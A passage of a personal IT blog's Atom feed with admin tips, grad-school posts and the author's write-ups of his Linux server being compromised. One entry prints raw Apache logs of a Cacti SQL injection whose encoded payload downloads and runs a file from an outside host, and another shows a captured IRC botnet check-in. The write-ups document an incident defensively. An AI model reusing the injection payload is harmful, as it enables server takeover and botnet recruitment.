<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>Information Systems Grad School</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/" />
    <link rel="self" type="application/atom+xml" href="http://cw.sampas.net/blog/atom.xml" />
   <id>tag:cw.sampas.net,2008:/blog//1</id>
    <link rel="service.post" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1" title="Information Systems Grad School" />
    <updated>2008-08-20T16:38:04Z</updated>
    <subtitle>Information Systems grad school from the perspective of an MCSE-CISSP geek.</subtitle>
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 4.12</generator>
 

<entry>
    <title>LDIFDE export from list of sAMAccountNames, using vbscript</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2008/08/ldifdeexe_export_from_list_of.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=163" title="LDIFDE export from list of sAMAccountNames, using vbscript" />
    <id>tag:cw.sampas.net,2008:/blog//1.163</id>
    
    <published>2008-08-20T16:29:28Z</published>
    <updated>2008-08-20T16:38:04Z</updated>
    
    <summary>If you need to export a list of accounts from Active Directory into ldif-format files that will preserve attributes, you can try this</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Programming" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>If you need to export a list of accounts from Active Directory into ldif-format files that will preserve attributes, you can try this. It takes a text list of sAMAccountNames (one per line) and writes out an ldif file for each one. You can easily import the same way by changing the arguments on the exec line and removing the export parameters. You'll also need to fix the line breaks.</p>

<blockquote>
'v1.1
' The script will take a text file with usernames (sAMAaccountNames and export them via ldifde to individual files
' named as sAMAccountname.ldf.

<p>Set objFSO = CreateObject("Scripting.FileSystemObject") <br />
Set objTextFile = objFSO.OpenTextFile("samaccounts.txt",1) <br />
'On Error Resume Next<br />
Do Until objTextFile.AtEndOfStream <br />
    strName = objTextFile.Readline<br />
    WScript.Echo "sAMAccountName: " & strName <br />
    Set objShell = CreateObject("WScript.Shell")<br />
    'you can add/remove attributes from the line below, but be sure to get the quotes right. <br />
    Set objScriptExec = objShell.Exec("ldifde -f c:\scripts\export\" & strName & ".ldf -s myDomainController -d ""ou=myOU,ou=Clients,dc=domain,dc=com"" -r ""(sAMAccountName=" & strName & ")"" -l objectclass,dn,c,department,description,displayName,employeeID,extensionAttribute10,extensionAttribute8,extensionAttribute9,givenName,homeDirectory,initials,manager,otherTelephone,physicalDeliveryOfficeName,extension,sn,streetAddress,telephoneNumber,extensionAttribute14,extensionAttribute11,extensionAttribute12,wWWHomePage,sAMAccountName,userPrincipalName,mail,mailnickname,telephoneNumber  " )<br />
    strResults = objScriptExec.StdOut.ReadAll<br />
WScript.Echo strResults<br />
              <br />
Loop<br />
set objFile=Nothing</p>

<p>'End<br />
</blockquote></p>]]>
        
    </content>
</entry>

<entry>
    <title>Cisco MIB: Interfaces on the 3845 Router</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2007/09/cisco_mib_interfaces_on_the_38.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=162" title="Cisco MIB: Interfaces on the 3845 Router" />
    <id>tag:cw.sampas.net,2007:/blog//1.162</id>
    
    <published>2007-09-20T18:44:31Z</published>
    <updated>2007-09-20T18:53:53Z</updated>
    
    <summary>Recently I needed to check traffic on specific interfaces of a Cisco 3845 Router. I didn&apos;t have a MIB file uploaded to our SNMP workstation, and descriptions of measures were not in synch with the router. Thus I needed to...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Random" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>Recently I needed to check traffic on specific interfaces of a Cisco 3845 Router. I didn't have a MIB file uploaded to our SNMP workstation, and descriptions of measures were not in synch with the router. Thus I needed to figure out which interface was which. There were 8 valid instances of interface metrics on the router. I was interested in BitsIn/Sec, BitsOut/Sec, and IntSpeed. From IntSpeed, I got the following numbers:<br />
1. 1,000,000,000<br />
2. 1,000,000,000<br />
3. 4,294,967,295<br />
4. 44,736,000<br />
5. 45,000,000<br />
6. 44,736,000<br />
7. 45,000,000<br />
8. 4,294,967,295</p>

<p>Thus I figured out that Serial 0 is 5 and serial 1 is 7. Gig 0 and Gig 1 are 1 and 2. We have two DS-3 circuits (ATT calls them DNECs) in. SNMP may be wonderful but MIBs are a pain. I thought I would write this down before I erase my whiteboard with tomorrow's problem and solution. You can find <a href="http://www.cisco.com/en/US/docs/ios/11_0/mib/quick/reference/mtext.html">Cisco's guide to it's MIB and SNMP here</a>.</p>]]>
        
    </content>
</entry>

<entry>
    <title>With some help, I find the vulnerability</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2007/05/secunia_says_cacti_has_four.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=161" title="With some help, I find the vulnerability" />
    <id>tag:cw.sampas.net,2007:/blog//1.161</id>
    
    <published>2007-05-22T23:47:43Z</published>
    <updated>2007-05-22T23:55:28Z</updated>
    
    <summary>Secunia says Cacti has four known vulnerabilities. I had forgotten that I had installed Cacti when I was trying to count the pages I had printed and compare those results those from my HP printer. Same IP as my computer...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Security" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p><a href="http://secunia.com/advisories/23528/">Secunia</a> says Cacti has four known vulnerabilities. I had forgotten that I had installed <a href="http://cacti.net/">Cacti</a> when I was trying to count the pages I had printed and compare those results those from my HP printer. Same IP as my computer was IRCing to. I should start tracking changes so I can have a record of what was changed, when it was changed, and if I granted myself access.</p>

<p>Here's the log files from apache:</p>

<p><br />
<blockquote>213.189.5.233 - - [21/May/2007:14:44:14 -0400] "GET /cacti/ HTTP/1.0" 200 1327 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:08:21 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,119,103,101,116,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,46,106,112,103,32,45,79,32,47,116,109,112,47,103,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:17:07 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,102,101,116,99,104,32,45,111,32,47,116,109,112,47,103,111,46,106,112,103,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,111,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,111,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/rra/suntzu.log HTTP/1.0" 404 296 "-" "-"<br />
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(114,109,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"</blockquote></p>

<p>Apparently, that was all it took for my server to be compromised.</p>

<p>Also, I saved the tcpdump from my previous post as an <a href="http://cw.sampas.net/blog/20070521_haxors.htm">HTML file</a> for people that had trouble with it.</p>]]>
        
    </content>
</entry>

<entry>
    <title>I Catch the Hackers in the Act</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2007/05/i_catch_the_hackers_in_the_act.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=160" title="I Catch the Hackers in the Act" />
    <id>tag:cw.sampas.net,2007:/blog//1.160</id>
    
    <published>2007-05-21T23:02:48Z</published>
    <updated>2007-05-22T23:55:52Z</updated>
    
    <summary>IIf you&apos;ve ever wondered exactly how a vulnerability is exploited, or how botnets happen, check the below. Keep in mind that my system is up-to-date on just about everything I can find to update on it. I&apos;ve also informed the...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Security" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>IIf you've ever wondered exactly how a vulnerability is exploited, or how botnets happen, check the below. Keep in mind that my system is up-to-date on just about everything I can find to update on it. I've also informed the abuse address of the IP in question about what was going on over a month ago, and the rogue server is still out there, relaying information from compromised Linux servers.</p>

<p>I keep a lot of outbound ports closed so that if one of my servers is compromised, it doesn't become another bot on the net. I finally caught the process again, so I started a capture and then opened the ports. I'm not sure what to make of it because the IP address in question goes back to what appears to be a dedicated server in Italy, but the login information says it's a NASA IRC server. What NASA would be doing on serving IRC to the public is beyond me, unless it's a honeypot. It's probably not a real NASA server, at least that's what I hope. Anyway, here are the fun details of what happens when my server tries to call home to its haxor:</p>

<p>The packet analysis also reveals a clue about the origin of the hack: Mihai is the Romanian version of Michael.</p>

<p><a href="http://cw.sampas.net/blog/20070521_dump.dmp">Download the uncensored TCPDump file and see for yourself</a>.</p>

<p>My server: SYN<br />
213.92.118.223 223-118-92-213.serverdedicati.seflow.net ACK<br />
my server: ACK SYN<br />
my server: ...i<br />
my server: NICK a3sh-.<br />
	 : NOTICE AUTH :*** Looking up your hostname..NOTICE AUTH :*** Checking Ident..<br />
my server: ....<br />
	 : NOTICE AUTH :*** No ident response..<br />
my server: FF 86 C5 CD <br />
	 : NOTICE AUTH :*** Found your hostname.<br />
my server: ....<br />
	 :.y.I<br />
my server: USER nh2ies x.x.x.x 213.92.118.223 :Linux mrtg.sampas.net 2.6.9-42.0.10.ELsmp #1 SMP Fri Feb 16 17:17:21 EST 2007 i686 i686 i386 GNU/Linux.<br />
	 : PING :1041065789..<br />
my server: ....<br />
	 : .y..<br />
my server: PONG :1041065789.<br />
	 : (ACK)<br />
	 : www.nasa.gov 433 * a3sh- :Nickname is already in use..<br />
my server: (ACK)<br />
my server: NICK a3sh-685.<br />
	 : :www.nasa.gov 001 a3sh-685 :Welcome to the Internet Relay Network 	 : a3sh-685..:www.nasa.gov 002 a3sh-685 :Your host is www.nasa.gov, running version beware1.5.7..:www.nasa.gov 003 a3sh-685 :This server was created Tue Jul 13 2004 at 20:36:17 GMT..:www.nasa.gov 004 a3sh-685 www.nasa.gov beware1.5.7 dgikoswx biklmnoprstv..:www.nasa.gov 005 a3sh-685 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server..:www.nasa.gov 005 a3sh-685 NICKLEN=19 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server..:www.nasa.gov 251 a3sh-685 :There are 172 users and 0 invisible on 1 servers..:www.nasa.gov 254 a3sh-685 1 :channels formed..:www.nasa.gov 255 a3sh-685 :I have 172 clients and 0 servers..:www.nasa.gov NOTICE a3sh-685 :Highest connection count: 195 (195 clients)..:www.nasa.gov 422 a3sh-685 :MOTD File is missing..:www.nasa.gov NOTICE a3sh-685 :on 1 ca 1(4) ft 10(10)..<br />
my server: JOIN #mihai.<br />
	 ::www.nasa.gov 001 a3sh-685 :Welcome to the Internet Relay Network a3sh-685..:www.nasa.gov 002 a3sh-685 :Your host is www.nasa.gov, running version beware1.5.7..:www.nasa.gov 003 a3sh-685 :This server was created Tue Jul 13 2004 at 20:36:17 GMT..:www.nasa.gov 004 a3sh-685 www.nasa.gov beware1.5.7 dgikoswx biklmnoprstv..:www.nasa.gov 005 a3sh-685 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server..:www.nasa.gov 005 a3sh-685 NICKLEN=19 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server..:www.nasa.gov 251 a3sh-685 :There are 172 users and 0 invisible on 1 servers..:www.nasa.gov 254 a3sh-685 1 :channels formed..:www.nasa.gov 255 a3sh-685 :I have 172 clients and 0 servers..:www.nasa.gov NOTICE a3sh-685 :Highest connection count: 195 (195 clients)..:www.nasa.gov 422 a3sh-685 :MOTD File is missing..:www.nasa.gov NOTICE a3sh-685 :on 1 ca 1(4) ft 10(10)..</p>

<p>:a3sh-685!~nh2ies@c-68-34-65-58.hsd1.md.comcast.net JOIN :#mihai..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-685 a3sh-9337 a3sh-4554 a3sh-8354 a3sh-2934 a3sh-3103 a3sh-8151 a3sh-4633 a3sh-3872 a3sh-2552 a3sh-1595 a3sh-9230 a3sh-5907 a3sh-2313 a3sh-6041 a3sh-2448 a3sh-5134 a3sh-3633 a3sh-5025 a3sh-1979 a3sh-9893 a3sh-8688 a3sh-7544 a3sh-4987 a3sh-975 a3sh-8640 a3sh-7756 a3sh-6376 a3sh-9321 a3sh-5422 a3sh-5761 a3sh-9259 a3sh-5956 a3sh-7978 a3sh-9088 a3sh-701 a3sh-4473 a3sh-7260 a3sh-2013 a3sh-9890 a3sh-933 a3sh-8007 a3sh-6486 a3sh-7318 a3sh-5495 a3sh-6205 a3sh-6078..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-7555 a3sh-791 a3sh-1336 a3sh-5923 a3sh-4822 a3sh-8527 a3sh-4988 a3sh-90 a3sh-4895 a3sh-7019 a3sh-6666 a3sh-4330 a3sh-8521 a3sh-215 a3sh-5509 a3sh-6106 a3sh-4579 a3sh-8655 a3sh-1998 a3sh-9573 a3sh-5017 a3sh-6554 a3sh-8403 a3sh-288 a3sh-3328 a3sh-4059 a3sh-6246 a3sh-697 a3sh-7085 a3sh-9646 a3sh-8876 a3sh-6779 a3sh-3730 a3sh-8248 a3sh-4757 a3sh-7497 a3sh-4715 a3sh-4357 a3sh-229 a3sh-4681 a3sh-8629 a3sh-2734 a3sh-6290 a3sh-930 a3sh-1515 a3sh-1103 a3sh-3405 a3sh-9597..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-914 a3sh-2419 a3sh-1961 a3sh-624 a3sh-9217 a3sh-8124 a3sh-9198 a3sh-1667 a3sh-7710 a3sh-3272 a3sh-2880 a3sh-5360 a3sh-9749 a3sh-60 a3sh-6378 a3sh-2191 a3sh-8644 a3sh-1313 a3sh-2447 a3sh-3410 a3sh-4480 a3sh-8506 a3sh-1625 a3sh-5664 a3sh-5614 a3sh-9804 a3sh-1344 a3sh-4523 a3sh-7203 a3sh-3438 a3sh-36</p>

<p>46 a3sh-6682 a3sh-8430 a3sh-700 a3sh-4929 a3sh-9957 a3sh-9284 a3sh-1775 +a3sh-3250 a3sh-2594 a3sh-3037 a3sh-3353 a3sh-2931 a3sh-366 a3sh-934 a3sh-1772 a3sh-8760 a3sh-7777..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-8519 a3sh-8691 a3sh-9382 a3sh-3749 a3sh-8126 a3sh-5627 a3sh-1038 a3sh-3316 a3sh-5240 a3sh-379 a3sh-6854 a3sh-9518 a3sh-1493 a3sh-7073 a3sh-9670 +a3sh-3201 a3sh-7933 a3sh-4989 a3sh-960 a3sh-3584 a3sh-7571 a3sh-9905 a3sh-6198 a3sh-9436 a3sh-7021 a3sh-9951 a3sh-43 a3sh-1578 @a3sh-..:www.nasa.gov 366 a3sh-685 #mihai :End of /NAMES list...</p>]]>
        
    </content>
</entry>

<entry>
    <title>They tried to get my server to join a BotNet</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2007/04/irc_botnet_attacks_my_server.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=159" title="They tried to get my server to join a BotNet" />
    <id>tag:cw.sampas.net,2007:/blog//1.159</id>
    
    <published>2007-04-18T23:15:36Z</published>
    <updated>2007-05-23T00:19:52Z</updated>
    
    <summary>I first noticed a mysterious connection on a netstat: Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 1 mrtg.sampas.net:42321 223-118-92-213.server:49153 SYN_SENT I also noticed Apache had opened a shell: F S UID...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Programming" />
    
        <category term="Security" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>I first noticed a mysterious connection on a netstat:<br />
<blockquote>Active Internet connections (servers and established)<br />
Proto Recv-Q Send-Q Local Address               Foreign Address             State <br />
tcp        0      1 mrtg.sampas.net:42321       223-118-92-213.server:49153 SYN_SENT <br />
</blockquote><br />
I also noticed Apache had opened a shell:<br />
<blockquote>F S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD<br />
1 S apache   18005     1  0  76   0 -  1282 -      Apr10 ?        00:00:00 sh -i </blockquote></p>

<p>Soon after, perl became a runaway process, consuming 100% of my CPU time. And I thought /sbin/nologin meant user Apache couldn't just get a shell. I updated zlib from 1.2.2 to 1.2.3 to fix a security hole. up2date -u reports everything is up-to-date. (It did that for my old zlib, too.) I don't see any new holes in my applications, <a href="http://sixapart.com/movabletype">MT</a> and <a href="http://gallery.menalto.com">Gallery</a>. I did a <a href="http://www.nessus.org/">Nessus</a> scan with recent updates, and all it showed no holes and one warning. I ran <a href="http://www.clamav.net/">clamscan</a> and it didn't find anything, either. <a href="http://www.rootkit.nl/">Rkhunter</a> found nothing, and <a href="http://www.cirt.net/code/nikto.shtml">nikto</a> gave me the following output:</p>

<blockquote>+ Server: Apache/2.0.52 (Red Hat)
+ Allowed HTTP Methods: GET,HEAD,POST,OPTIONS,TRACE 
+ Apache/2.0.52 appears to be outdated (current is at least Apache/2.2.3). Apache 1.3.33 is still maintained and considered secure.
+ / - TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details (TRACE)
+ /usage/ - Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02. (GET)</blockquote>

<p><br />
So now I'm stuck looking through my apache access logs, because that's the only thing exposed to the outside world.</p>

<p>I did a capture just while open my firewall for a couple of minutes, and I saw it try to log in to an IRC channel. Ouch. I've been pwned. Fortunately, my firewall stops my server from being used for attacks, and I was able to block the port range used by the IRC bot.</p>

<p>Finally, Red Hat released a lot of new patches for PHP, and I set PerlTaintCheck On in /etc/httpd/conf.d/perl.conf, which was the real problem: user Apache had started listening on port 80 using Perl, so I couldn't even restart httpd.</p>

<p>Next time, I need to check the logs closer and post a network capture of the login process. </p>]]>
        
    </content>
</entry>

<entry>
    <title>I graduate from grad school, get a new job, a new house, and become a father.</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2007/04/i_graduate_from_grad_school_ge.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=158" title="I graduate from grad school, get a new job, a new house, and become a father." />
    <id>tag:cw.sampas.net,2007:/blog//1.158</id>
    
    <published>2007-04-10T01:17:13Z</published>
    <updated>2007-04-10T01:22:47Z</updated>
    
    <summary>I graduated from Grad School with a Master&apos;s in Information Systems Technology, focusing on Management Information Systems. It&apos;s official. George Washington University sent me my degree in the mail. They took three and a half months to get it out....</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>I graduated from Grad School with a Master's in Information Systems Technology, focusing on Management Information Systems.</p>

<p>It's official. George Washington University sent me my degree in the mail. They took three and a half months to get it out. Even the registrar didn't change my status until March after a couple of phone calls. A lot has happened since then: I moved into a new (old) house, started a new job, and am about to become a father. </p>

<p>What did I really learn in grad school anyway? I learned a lot, but every class covered, to some degree, entity-relationship diagrams (ERDs), data-flow diagrams (DFDs), and object-oriented diagrams, which can be state charts, class diagrams, and use cases, to name a few. Some classes went so far as to cover the theory behind them. Every class covered the relational database model, which hasn't changed much in thirty years and is still useful and relevant to just about every information system I've ever worked with.</p>

<p>Since IS grad school is part of the business school, we learned to work in teams. It's not about writing code -- it's about finishing projects on time. The funny part is the professors don't teach much about team projects -- they just expect you to manage yourselves.</p>]]>
        
    </content>
</entry>

<entry>
    <title>How to Reverse Engineer a Database with Microsoft Visio</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/10/how_to_reverse_engineer_a_data.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=152" title="How to Reverse Engineer a Database with Microsoft Visio" />
    <id>tag:cw.sampas.net,2006:/blog//1.152</id>
    
    <published>2006-10-02T15:33:57Z</published>
    <updated>2006-10-04T20:53:03Z</updated>
    
    <summary>What do we study in Information Systems Grad School? If there&apos;s a single topic that comes up in every class, it&apos;s databases. If we haven&apos;t memorized the first three normal forms by now, we haven&apos;t learned much. While few of...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Exchange - Sharepoint - SQL - AD" />
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>What do we study in Information Systems Grad School? If there's a single topic that comes up in every class, it's databases. If we haven't memorized the first three normal forms by now, we haven't learned much. While few of us will bother going into Boyce-Codd Normal Form, 4NF and 5NF, every specification for a system we write that has a database needs an <a href="http://en.wikipedia.org/wiki/Entity_relationship_diagram">entity relationship diagram</a>. An ERD is a visual representation of your data model, and your data model is probably the single most important part of any system you design. A good data model will survive several major versions of your software; a poor data model will make your system useless. Thus, we spend a lot of time doing data models and documenting them with ERDs.</p>

<p>As much as I love Visio, drawing the things from scratch is somewhat tedious. It's much easier to design and test in Access. (I have it on good authority that even elite Oracle DBAs who hand-tune Solaris for better performance will design and test in Access just because it's easy.) So what do you do when you have a decent test DB in Access and you don't want to diagram every little change in your masterful Visio ERD? Reverse engineer.</p>

<p>In Visio, it's fairly easy, but there are a couple of spots where it doesn't behave as nicely as it should. I'm going to refer to<a href="http://www.microsoft.com/office/preview/beta/getthebeta.mspx"> Visio 2007, still in Beta and free for the download and registration</a>. Visio 2003 is almost the same. Visio 2003 Enterprise Architect Edition will create the database from your diagram, in case you can design an enterprise DB but don't know how to create the tables in SQL. (Not really someone you'd want touching your SQL server.)</p>

<p>1. Open Visio and select New | Software & Database | Database Model Diagram with the units of your choice.<br />
2. Now that you have a database model diagram open, the database menu will appear. Select "Reverse Engineer" off of the database diagram.<br />
3. A confusing dialog box will appear. Use it to verify you have the right drivers installed.<br />
4. For Microsoft Access, choose Microsoft Access as your driver, and hit Next.<br />
5. A username and password dialog box will pop up. Unless you've assigned a username and pw to the database, leave it blank and hit OK.<br />
6. Navigate your filesystem and select your database. Ignore the clunkiness and be grateful that you can see filenames longer than 8.3.<br />
7. When you have found your .MDB file, choose it and hit OK.<br />
8. Select the types of objects you would like to import and hit Next. (No, you don't get stored procedures and triggers in Access, but you would in SQL.)<br />
9. Select the specific tables, queries, etc. you want to see in your diagram and hit Next.<br />
10. Select Yes to add them to your current diagram, and hit Finish. (Select no you have a lot of tables, queries, etc.)<br />
11. You should see your tables in the diagram.<br />
12. To add the crow's feet and cardinality, select options on the database menu. (Database | Options | Document ) <br />
13. You get three sections to change here: The General tab covers symbol sets: IDEF1X or Relational, Conceptual, Physical, both, or names based on symbol set. The table tab lets you display keys, indexes, non keys, and the IDEF1X optionality 0. The relationship tab lets you display relationships (duh), crow's feet, cardinality, and referential actions. You must select cardinality before you select crow's feet. (caridinality gets greyed out when crow's feet is checked.)<br />
14. To update your diagram, select "Refresh Model" on the Database menu...</p>

<p>Now that you can see your  information model, you know why it's messed up. That database that your business/organization/department runs on  -- it's not in any kind of normal form. Or it has about 100 tables more than you thought it should. </p>

<p>The database people in my office have a debate: were the software engineers just trying to make it impossible to wean your organization off of their support, or were they just bad at information modeling?</p>]]>
        
    </content>
</entry>

<entry>
    <title>Visit my new Educational Technologies Blog</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/09/visit_my_new_educational_techn.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=150" title="Visit my new Educational Technologies Blog" />
    <id>tag:cw.sampas.net,2006:/blog//1.150</id>
    
    <published>2006-09-22T12:26:34Z</published>
    <updated>2006-09-22T12:36:33Z</updated>
    
    <summary>Given that I have a new job in education, I started doing a few entries about recent developments in education and technology. I use the framework of educational technology to answer President Bush&apos;s question, &quot;Is our children learning?&quot; At least...</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>Given that I have a new job in education, I started doing a few entries about <a href="http://cw.sampas.net/education">recent developments in education and technology</a>. I use the framework of educational technology to answer President Bush's question, "<a href="http://www.slate.com/id/76886/">Is our children learning?</a>"</p>

<p>At least it explains the dearth of recent posts here.</p>]]>
        
    </content>
</entry>

<entry>
    <title>Threat Analysis and Modeling Tool, Office Groove Beta</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/09/threat_analysis_and_modeling_t_1.html" />
    <link rel="service.edit" type="application/atom+xml" href="http://cw.sampas.net/cgi-bin/mt/mt-atom.cgi/weblog/blog_id=1/entry_id=139" title="Threat Analysis and Modeling Tool, Office Groove Beta" />
    <id>tag:cw.sampas.net,2006:/blog//1.139</id>
    
    <published>2006-09-14T12:02:08Z</published>
    <updated>2006-09-14T12:25:00Z</updated>
    
    <summary>Just when I thought I would stop experimenting with new Microsoft products and hunker down into my new job and my capstone project, I find a couple that will save me time and aggravation: Microsoft&apos;s Threat Analysis and Modeling Tool....</summary>
    <author>
        <name>Larry</name>
        <uri>http://www.larrysampas.com</uri>
    </author>
    
        <category term="Exchange - Sharepoint - SQL - AD" />
    
        <category term="Grad School" />
    
    <content type="html" xml:lang="en" xml:base="http://cw.sampas.net/blog/">
        <![CDATA[<p>Just when I thought I would stop experimenting with new Microsoft products and hunker down into my new job and my capstone project, I find a couple that will save me time and aggravation: <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=334ad466-8b53-4440-8ff0-6ac8142d9198&displaylang=en">Microsoft's Threat Analysis and Modeling Tool</a>. This dot.Net 2.0 application has a wizard to create for us a <a href="http://en.wikipedia.org/wiki/CRUD">CRUD matrix</a>, that will can paste into our system security chapter. A CRUD matrix is simply a table of which users need what kind of access to which tables. It can get more complex if you have column-level security in your database. We don't, so it won't be overly detailed.</p>

<p>The other tool that can save me time, and possibly my group members, is <a href="http://www.microsoft.com/office/preview/beta/getthebeta.mspx">Microsoft's Office Groove 2007 Beta</a>. Like many cool Microsoft products, Groove did not <a href="http://www.kanai.net/weblog/archive/2005/03/11/15h31m47s">originate</a> at Microsoft. Most people I talk to about Groove don't really get what it does, but I blame that more on bad IT and IS metaphors than anything else. Groove is simply a shared workspace where a team can share documents, discussions, and contacts. When you set up Groove, you can set up one or more shared workspaces. You then add specific files to that workspace. Then all your invited and verified team members can access those documents whether you are online or off. No more uploading to Sharepoint or Blackboard, or whatever. You've got anywhere, anytime sharing, provided you have an Internet connection. I have it on my work computer and my home computer and share documents between them without having to email them back and forth. So far, I have no firewall issues either.</p>

<p>What if you want to secure your data and not have it stored on third-party servers? Use Groove Server, and give more money to Microsoft. Before the Office 2007 launch, both Groove and Groove server are free for the download, registration and product keys required. Try it and at least you'll know what people are talking about. The next big thing is enabling teamwork and collaboration and making the world "<a href="http://www.amazon.com/World-Flat-History-Twenty-first-Century/dp/0374292795/sr=8-1/qid=1158236356/ref=pd_bbs_1/104-7245588-7636760?ie=UTF8&s=books">flat<a/>."</p>]]>
        
    </content>
</entry>

<entry>
    <title>Services for Unix in Six Easy Steps</title>
    <link rel="alternate" type="text/html" href="http://cw.sampas.net/blog/2006/08/services_for_unix_in_six_easy.html" />
